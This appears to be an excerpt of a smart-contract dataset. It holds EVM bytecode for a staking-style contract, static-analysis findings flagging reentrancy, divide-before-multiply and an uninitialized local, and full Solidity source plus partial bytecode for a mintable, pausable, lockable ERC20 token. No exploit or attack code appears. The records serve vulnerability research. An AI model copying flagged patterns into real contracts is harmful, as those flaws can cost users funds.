20819055505b8080610db59061256a565b915050610a26565b508051600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002016000828254610e1191906123cf565b925050819055508051600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e6891906123cf565b9250508190555050565b60076020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060005b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156111c5576000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110610f5e57610f5d61266a565b5b906000526020600020015411156111b25762015180600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002084815481106110055761100461266a565b5b906000526020600020015481526020019081526020016000205461102991906123cf565b421180156110b0575060076000600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083815481106110875761108661266a565b5b9060005260206000200154815260200190815260200160002060009054906101000a900460ff16155b156110c657600b54826110c391906123cf565b91505b67d02ab486cedc000061119a600954600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002086815481106111675761116661266a565b5b90600052602060002001548152602001908152602001600020544261118c91906124b0565b611c7690919063ffffffff16565b6111a49190612456565b826111af91906123cf565b91505b80806111bd9061256a565b915050610ec1565b50600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301548161121491906123cf565b915050919050565b60066020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6003602052816000526040600020602052806000526040600020600091509150505481565b6005602052816000526040600020818154811061129957600080fd5b90600052602060002001600091509150505481565b6112b733610ebb565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600082825461130891906123cf565b9250508190555060005b815181101561174d57600061132633610ebb565b1115611373576001600760008484815181106113455761134461266a565b5b6020026020010151815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600061139883838151811061138b5761138a61266a565b5b6020026020010151611c9e565b90508282815181106113ad576113ac61266a565b5b6020026020010151600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106114065761140561266a565b5b906000526020600020015414611451576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144890612254565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd30338686815181106114a4576114a361266a565b5b60200260200101516040518463ffffffff1660e01b81526004016114ca93929190612157565b600060405180830381600087803b1580156114e457600080fd5b505af11580156114f8573d6000803e3d6000fd5b50505050600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020818154811061154d5761154c61266a565b5b9060005260206000200160009055600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490506115e991906124b0565b815481106115fa576115f961266a565b5b9060005260206000200154600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106116565761165561266a565b5b90600052602060002001819055506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008585815181106116ba576116b961266a565b5b6020026020010151815260200190815260200160002081905550600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806117235761172261263b565b5b600190038181906000526020600020016000905590555080806117459061256a565b915050611312565b508051600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160008282546117a191906124b0565b925050819055506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611838576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905561188f565b8051600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461188891906124b0565b9250508190555b5050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611921576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191890612294565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016119bb919061213c565b60206040518083038186803b1580156119d357600080fd5b505afa1580156119e7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a0b9190611f68565b6040518363ffffffff1660e01b8152600401611a2892919061218e565b602060405180830381600087803b158015611a4257600080fd5b505af1158015611a56573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a7a9190611f0e565b611ab9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab090612274565b60405180910390fd5b565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4090612294565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb090612214565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808211611c8457600080fd5b60008284611c929190612425565b90508091505092915050565b600080600090505b82600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110611cf857611cf761266a565b5b906000526020600020015414611d1b578080611d139061256a565b915050611ca6565b80915050919050565b6000611d37611d3284612359565b612334565b90508083825260208201905082856020860282011115611d5a57611d596126cd565b5b60005b85811015611d8a5781611d708882611e01565b845260208401935060208301925050600181019050611d5d565b5050509392505050565b600081359050611da381612858565b92915050565b600081519050611db881612858565b92915050565b600082601f830112611dd357611dd26126c8565b5b8135611de3848260208601611d24565b91505092915050565b600081519050611dfb8161286f565b92915050565b600081359050611e1081612886565b92915050565b600081519050611e2581612886565b92915050565b600060208284031215611e4157611e406126d7565b5b6000611e4f84828501611d94565b91505092915050565b600060208284031215611e6e57611e6d6126d7565b5b6000611e7c84828501611da9565b91505092915050565b60008060408385031215611e9c57611e9b6126d7565b5b6000611eaa85828601611d94565b9250506020611ebb85828601611e01565b9150509250929050565b600060208284031215611edb57611eda6126d7565b5b600082013567ffffffffffffffff811115611ef957611ef86126d2565b5b611f0584828501611dbe565b91505092915050565b600060208284031215611f2457611f236126d7565b5b6000611f3284828501611dec565b91505092915050565b600060208284031215611f5157611f506126d7565b5b6000611f5f84828501611e01565b91505092915050565b600060208284031215611f7e57611f7d6126d7565b5b6000611f8c84828501611e16565b91505092915050565b6000611fa1838361211e565b60208301905092915050565b611fb6816124e4565b82525050565b6000611fc782612395565b611fd181856123ad565b9350611fdc83612385565b8060005b8381101561200d578151611ff48882611f95565b9750611fff836123a0565b925050600181019050611fe0565b5085935050505092915050565b612023816124f6565b82525050565b6000612036601a836123be565b9150612041826126ed565b602082019050919050565b60006120596026836123be565b915061206482612716565b604082019050919050565b600061207c600d836123be565b915061208782612765565b602082019050919050565b600061209f6020836123be565b91506120aa8261278e565b602082019050919050565b60006120c26015836123be565b91506120cd826127b7565b602082019050919050565b60006120e56020836123be565b91506120f0826127e0565b602082019050919050565b60006121086030836123be565b915061211382612809565b604082019050919050565b61212781612522565b82525050565b61213681612522565b82525050565b60006020820190506121516000830184611fad565b92915050565b600060608201905061216c6000830186611fad565b6121796020830185611fad565b612186604083018461212d565b949350505050565b60006040820190506121a36000830185611fad565b6121b0602083018461212d565b9392505050565b600060208201905081810360008301526121d18184611fbc565b905092915050565b60006020820190506121ee600083018461201a565b92915050565b6000602082019050818103600083015261220d81612029565b9050919050565b6000602082019050818103600083015261222d8161204c565b9050919050565b6000602082019050818103600083015261224d8161206f565b9050919050565b6000602082019050818103600083015261226d81612092565b9050919050565b6000602082019050818103600083015261228d816120b5565b9050919050565b600060208201905081810360008301526122ad816120d8565b9050919050565b600060208201905081810360008301526122cd816120fb565b9050919050565b60006020820190506122e9600083018461212d565b92915050565b6000608082019050612304600083018761212d565b612311602083018661212d565b61231e604083018561212d565b61232b606083018461212d565b95945050505050565b600061233e61234f565b905061234a8282612539565b919050565b6000604051905090565b600067ffffffffffffffff82111561237457612373612699565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006123da82612522565b91506123e583612522565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561241a576124196125dd565b5b828201905092915050565b600061243082612522565b915061243b83612522565b92508261244b5761244a61260c565b5b828204905092915050565b600061246182612522565b915061246c83612522565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156124a5576124a46125dd565b5b828202905092915050565b60006124bb82612522565b91506124c683612522565b9250828210156124d9576124d86125dd565b5b828203905092915050565b60006124ef82612502565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b612542826126dc565b810181811067ffffffffffffffff8211171561256157612560612699565b5b80604052505050565b600061257582612522565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156125a8576125a76125dd565b5b600182019050919050565b60006125be8261252c565b915060ff8214156125d2576125d16125dd565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f796f7520646f6e27742068617665207265776172642079657421000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f6e6674206e6f7420666f756e6400000000000000000000000000000000000000600082015250565b7f4e465420776974682074686973205f746f6b656e4964206e6f7420666f756e64600082015250565b7f546f6b656e207472616e73666572204572726f72210000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f436f6e747261637420446f6e2774206861766520656e6f75676820746f6b656e60008201527f7320746f20676976652072657761726400000000000000000000000000000000602082015250565b612861816124e4565b811461286c57600080fd5b50565b612878816124f6565b811461288357600080fd5b50565b61288f81612522565b811461289a57600080fd5b5056fea2646970667358221220f942a3708bb913c29a4a9257e8785c379e21c3f792fc4e0c4dc0266b0b2aa91b64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 5,723 |
0x59eae09060bdf47f37c9549eded250c55ee31e1a
|
pragma solidity 0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of user permissions.
*/
contract Ownable {
address public owner;
address public newOwner;
address public adminer;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Throws if called by any account other than the adminer.
*/
modifier onlyAdminer {
require(msg.sender == owner || msg.sender == adminer);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a new owner.
* @param _owner The address to transfer ownership to.
*/
function transferOwnership(address _owner) public onlyOwner {
newOwner = _owner;
}
/**
* @dev New owner accept control of the contract.
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0x0);
}
/**
* @dev change the control of the contract to a new adminer.
* @param _adminer The address to transfer adminer to.
*/
function changeAdminer(address _adminer) public onlyOwner {
adminer = _adminer;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev transfer token for a specified address
* @param _to The address to tran sfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
return BasicToken.transfer(_to, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyAdminer public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
/**
* @title Additioal token
* @dev Mintable token with a token can be increased with proportion.
*/
contract AdditionalToken is MintableToken {
uint256 public maxProportion;
uint256 public lockedYears;
uint256 public initTime;
mapping(uint256 => uint256) public records;
mapping(uint256 => uint256) public maxAmountPer;
event MintRequest(uint256 _curTimes, uint256 _maxAmountPer, uint256 _curAmount);
constructor(uint256 _maxProportion, uint256 _lockedYears) public {
require(_maxProportion >= 0);
require(_lockedYears >= 0);
maxProportion = _maxProportion;
lockedYears = _lockedYears;
initTime = block.timestamp;
}
/**
* @dev Function to Increase tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of the minted tokens.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyAdminer public returns (bool) {
uint256 curTime = block.timestamp;
uint256 curTimes = curTime.sub(initTime)/(31536000);
require(curTimes >= lockedYears);
uint256 _maxAmountPer;
if(maxAmountPer[curTimes] == 0) {
maxAmountPer[curTimes] = totalSupply.mul(maxProportion).div(100);
}
_maxAmountPer = maxAmountPer[curTimes];
require(records[curTimes].add(_amount) <= _maxAmountPer);
records[curTimes] = records[curTimes].add(_amount);
emit MintRequest(curTimes, _maxAmountPer, records[curTimes]);
return(super.mint(_to, _amount));
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyAdminer whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyAdminer whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Token contract
*/
contract Token is AdditionalToken, PausableToken {
using SafeMath for uint256;
string public name;
string public symbol;
uint256 public decimals;
mapping(address => bool) public singleLockFinished;
struct lockToken {
uint256 amount;
uint256 validity;
}
mapping(address => lockToken[]) public locked;
event Lock(
address indexed _of,
uint256 _amount,
uint256 _validity
);
function () payable public {
revert();
}
constructor (string _symbol, string _name, uint256 _decimals, uint256 _initSupply,
uint256 _maxProportion, uint256 _lockedYears) AdditionalToken(_maxProportion, _lockedYears) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = totalSupply.add(_initSupply * (10 ** decimals));
balances[msg.sender] = totalSupply.div(2);
balances[address(this)] = totalSupply - balances[msg.sender];
emit Transfer(address(0), msg.sender, totalSupply.div(2));
}
/**
* @dev Lock the special address
*
* @param _time The array of released timestamp
* @param _amountWithoutDecimal The array of amount of released tokens
* NOTICE: the amount in this function not include decimals.
*/
function lock(address _address, uint256[] _time, uint256[] _amountWithoutDecimal) onlyAdminer public returns(bool) {
require(!singleLockFinished[_address]);
require(_time.length == _amountWithoutDecimal.length);
if(locked[_address].length != 0) {
locked[_address].length = 0;
}
uint256 len = _time.length;
uint256 totalAmount = 0;
uint256 i = 0;
for(i = 0; i<len; i++) {
totalAmount = totalAmount.add(_amountWithoutDecimal[i]*(10 ** decimals));
}
require(balances[_address] >= totalAmount);
for(i = 0; i < len; i++) {
locked[_address].push(lockToken(_amountWithoutDecimal[i]*(10 ** decimals), block.timestamp.add(_time[i])));
emit Lock(_address, _amountWithoutDecimal[i]*(10 ** decimals), block.timestamp.add(_time[i]));
}
return true;
}
function finishSingleLock(address _address) onlyAdminer public {
singleLockFinished[_address] = true;
}
/**
* @dev Returns tokens locked for a specified address for a
* specified purpose at a specified time
*
* @param _of The address whose tokens are locked
* @param _time The timestamp to query the lock tokens for
*/
function tokensLocked(address _of, uint256 _time)
public
view
returns (uint256 amount)
{
for(uint256 i = 0;i < locked[_of].length;i++)
{
if(locked[_of][i].validity>_time)
amount += locked[_of][i].amount;
}
}
/**
* @dev Returns tokens available for transfer for a specified address
* @param _of The address to query the the lock tokens of
*/
function transferableBalanceOf(address _of)
public
view
returns (uint256 amount)
{
uint256 lockedAmount = 0;
lockedAmount += tokensLocked(_of, block.timestamp);
amount = balances[_of].sub(lockedAmount);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= transferableBalanceOf(msg.sender));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_value <= transferableBalanceOf(_from));
return super.transferFrom(_from, _to, _value);
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyAdminer returns (bool success) {
return ERC20(tokenAddress).transfer(owner, tokens);
}
}
|
0x6080604052600436106101a05763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630411518781146101a557806306fdde03146101cc578063095ea7b31461025657806318160ddd1461028e57806323b872dd146102a3578063313ce567146102cd57806334461067146102e25780633ef5aee9146102fa5780633f4ba83a1461030f5780633fcdcdfd1461032657806340c10f19146103475780634a6f910e1461036b57806357dc5d9d146104075780635c975abb14610438578063661884631461044d57806370a082311461047157806372144fdd1461049257806379ba5097146104aa5780638456cb59146104bf57806385716e2f146104d45780638da5cb5b146104f557806395d89b411461050a578063a9059cbb1461051f578063a9b2c13514610543578063bf7bab7314610558578063c7d9f4d114610595578063d4ee1d90146105b6578063d73dd623146105cb578063dc39d06d146105ef578063dd62ed3e14610613578063edd0c6d91461063a578063f2fde38b1461065b578063fa7f6b961461067c575b600080fd5b3480156101b157600080fd5b506101ba6106a0565b60408051918252519081900360200190f35b3480156101d857600080fd5b506101e16106a6565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561021b578181015183820152602001610203565b50505050905090810190601f1680156102485780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026257600080fd5b5061027a600160a060020a0360043516602435610734565b604080519115158252519081900360200190f35b34801561029a57600080fd5b506101ba610758565b3480156102af57600080fd5b5061027a600160a060020a036004358116906024351660443561075e565b3480156102d957600080fd5b506101ba610788565b3480156102ee57600080fd5b506101ba60043561078e565b34801561030657600080fd5b506101ba6107a0565b34801561031b57600080fd5b506103246107a6565b005b34801561033257600080fd5b5061027a600160a060020a036004351661081a565b34801561035357600080fd5b5061027a600160a060020a036004351660243561082f565b34801561037757600080fd5b5060408051602060046024803582810135848102808701860190975280865261027a968435600160a060020a031696369660449591949091019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506109ab9650505050505050565b34801561041357600080fd5b5061041c610c07565b60408051600160a060020a039092168252519081900360200190f35b34801561044457600080fd5b5061027a610c16565b34801561045957600080fd5b5061027a600160a060020a0360043516602435610c1f565b34801561047d57600080fd5b506101ba600160a060020a0360043516610c3c565b34801561049e57600080fd5b506101ba600435610c57565b3480156104b657600080fd5b50610324610c69565b3480156104cb57600080fd5b50610324610cf3565b3480156104e057600080fd5b50610324600160a060020a0360043516610d69565b34801561050157600080fd5b5061041c610daf565b34801561051657600080fd5b506101e1610dbe565b34801561052b57600080fd5b5061027a600160a060020a0360043516602435610e19565b34801561054f57600080fd5b506101ba610e3a565b34801561056457600080fd5b5061057c600160a060020a0360043516602435610e40565b6040805192835260208301919091528051918290030190f35b3480156105a157600080fd5b506101ba600160a060020a0360043516610e7b565b3480156105c257600080fd5b5061041c610eb4565b3480156105d757600080fd5b5061027a600160a060020a0360043516602435610ec3565b3480156105fb57600080fd5b5061027a600160a060020a0360043516602435610ee0565b34801561061f57600080fd5b506101ba600160a060020a0360043581169060243516610fb3565b34801561064657600080fd5b50610324600160a060020a0360043516610fde565b34801561066757600080fd5b50610324600160a060020a0360043516611030565b34801561068857600080fd5b506101ba600160a060020a0360043516602435611076565b60085481565b600c805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561072c5780601f106107015761010080835404028352916020019161072c565b820191906000526020600020905b81548152906001019060200180831161070f57829003601f168201915b505050505081565b600b5460009060ff161561074757600080fd5b6107518383611123565b9392505050565b60005481565b600061076984610e7b565b82111561077557600080fd5b610780848484611189565b949350505050565b600e5481565b60096020526000908152604090205481565b60065481565b600354600160a060020a03163314806107c95750600554600160a060020a031633145b15156107d457600080fd5b600b5460ff1615156107e557600080fd5b600b805460ff191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600f6020526000908152604090205460ff1681565b600354600090819081908190600160a060020a031633148061085b5750600554600160a060020a031633145b151561086657600080fd5b4292506301e13380610883600854856111a790919063ffffffff16565b81151561088c57fe5b04915060075482101515156108a057600080fd5b6000828152600a602052604090205415156108ed576108dd60646108d16006546000546111b990919063ffffffff16565b9063ffffffff6111e416565b6000838152600a60205260409020555b506000818152600a6020908152604080832054600990925290912054819061091b908763ffffffff6111fb16565b111561092657600080fd5b600082815260096020526040902054610945908663ffffffff6111fb16565b600083815260096020908152604091829020839055815185815290810184905280820192909252517fe386b0e978b8d1cf769c13c3921e86191f97f4c601d0aae3a58f386cbbfae67e9181900360600190a16109a1868661120a565b9695505050505050565b600354600090819081908190600160a060020a03163314806109d75750600554600160a060020a031633145b15156109e257600080fd5b600160a060020a0387166000908152600f602052604090205460ff1615610a0857600080fd5b8451865114610a1657600080fd5b600160a060020a03871660009081526010602052604090205415610a5857600160a060020a0387166000908152601060205260408120610a56908261171e565b505b5050835190506000805b82811015610aa357610a99600e54600a0a8683815181101515610a8157fe5b6020908102909101015184910263ffffffff6111fb16565b9150600101610a62565b600160a060020a038716600090815260016020526040902054821115610ac857600080fd5b5060005b82811015610bfa576010600088600160a060020a0316600160a060020a031681526020019081526020016000206040805190810160405280600e54600a0a8885815181101515610b1857fe5b90602001906020020151028152602001610b508985815181101515610b3957fe5b60209081029091010151429063ffffffff6111fb16565b9052815460018181018455600093845260209384902083516002909302019182559290910151910155600e548551600160a060020a038916917f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b91600a9190910a90889085908110610bbe57fe5b9060200190602002015102610bda8985815181101515610b3957fe5b6040805192835260208301919091528051918290030190a2600101610acc565b5060019695505050505050565b600554600160a060020a031681565b600b5460ff1681565b600b5460009060ff1615610c3257600080fd5b6107518383611315565b600160a060020a031660009081526001602052604090205490565b600a6020526000908152604090205481565b600454600160a060020a03163314610c8057600080fd5b600454600354604051600160a060020a0392831692909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600480546003805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600354600160a060020a0316331480610d165750600554600160a060020a031633145b1515610d2157600080fd5b600b5460ff1615610d3157600080fd5b600b805460ff191660011790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a03163314